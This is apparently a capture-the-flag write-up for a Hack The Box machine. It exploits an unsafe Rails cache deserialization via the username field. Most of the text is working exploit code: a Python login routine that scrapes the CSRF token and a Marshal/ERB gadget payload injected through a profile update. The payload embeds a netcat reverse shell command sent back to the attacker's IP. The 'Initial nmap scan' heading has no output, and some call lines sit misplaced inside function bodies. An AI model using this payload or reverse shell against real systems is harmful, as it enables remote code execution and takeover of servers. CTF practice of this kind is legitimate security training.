Roman Hergenreder

Initial nmap scan:

data = cache.fetch("demo", raw: true) { untrusted_string }

We can find similar code in our ruby app in app/controllers/user_controller.rb on line 37:

"@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}"

All we need to do now is registering an account, updating the username to our malicious code and loading it again buy visiting the front page. Assuming we already registered an account, we can create a Session object using the following code:

URL = "http://10.10.10.211:8080"
email = "Blindhero@htb.htb"
password = "aaaa"
userId = None

def login(email, password, silent=False):
    global userId
    session = requests.Session()
    loginUrl = "%s/login" % URL
    if not silent:
        print("[ ] Retrieving login page")
    res = session.get(loginUrl)
    if res.status_code != 200:
        if not silent:
            print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        return None

    soup = BeautifulSoup(res.text, "html.parser")
    csrfToken = soup.find("meta", {"name": "csrf-token"})["content"].strip()
    if not silent:
        print("[+] Got CSRF token:", csrfToken)

    post_data = {
        "utf8": "✓",
        "authenticity_token": csrfToken,
        "session[email]": email,
        "session[password]": password,
        "commit": "Log in"
    }

    res = session.post(loginUrl, data=post_data, allow_redirects=False)
    if res.status_code != 302 or res.headers["Location"] != URL+"/":
        if not silent:
            print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        return None

    res = session.get(res.headers["Location"])
    if res.status_code != 200:
        if not silent:
            print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        return None

    soup = BeautifulSoup(res.text, "html.parser")
    for link in soup.find_all("a", {"class":"nav-link"}):
        if link["href"].startswith("/users/"):
            userId = int(link["href"][len("/users/"):])
            break

    print("[+] Successfully logged in. User ID:", userId)
    return session
    
    session = login(email, password)

Next we will need to generate our payload. I've taken the output of the tool showed on the CVE github page and transferred it into python code. The only things we need to modify is the command being executed and the byte right in front of the string, which is the length plus some additional bytes:

command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f' % (ipAddress, listenPort)
prefix_byte = chr(len(command)+7)

payload = b'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:ERB\x08:\t@srcI"%b`%s`\x06:\x06ET:\x0e@filenameI"\x061\x06;\tT:\x0c@linenoi\x06:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\tT' % (prefix_byte.encode(), command.encode())

Now we need to update the username with the following code:

def updateUser(session, id, name, email, password):
    userEditUrl = "%s/users/%d/edit" % (URL, id)
    userUrl     = "%s/users/%d" % (URL, id)

    print("[ ] Retrieving user edit page:", userEditUrl)
    res = session.get(userEditUrl)
    if res.status_code != 200:
        print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        exit(1)

    soup = BeautifulSoup(res.text, "html.parser")
    csrfToken = soup.find("meta", {"name": "csrf-token"})["content"].strip()
    print("[+] Got CSRF token:", csrfToken)

    post_data = {
        "utf8": "✓",
        "_method": "patch",
        "authenticity_token": csrfToken,
        "user[username]": name,
        "user[email]": email,
        "user[password]": password,
        "commit": "Update User"
    }

    res = session.post(userUrl, data=post_data, allow_redirects=False)
    if res.status_code != 302 or res.headers["Location"] != URL + "/articles":
        print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        soup = BeautifulSoup(res.text, "html.parser")
        error = soup.find("div", {"class": "card-body"})
        if error:
            print("[-] Error:", error.text.strip())

        return False

    print("[+] Success")
    return True
    
    updateUser(session, userId, payload, email, password)

And to finally trigger the exploit, we set up a netcat listener, visit the front page and grab the user flag:

session.get(URL)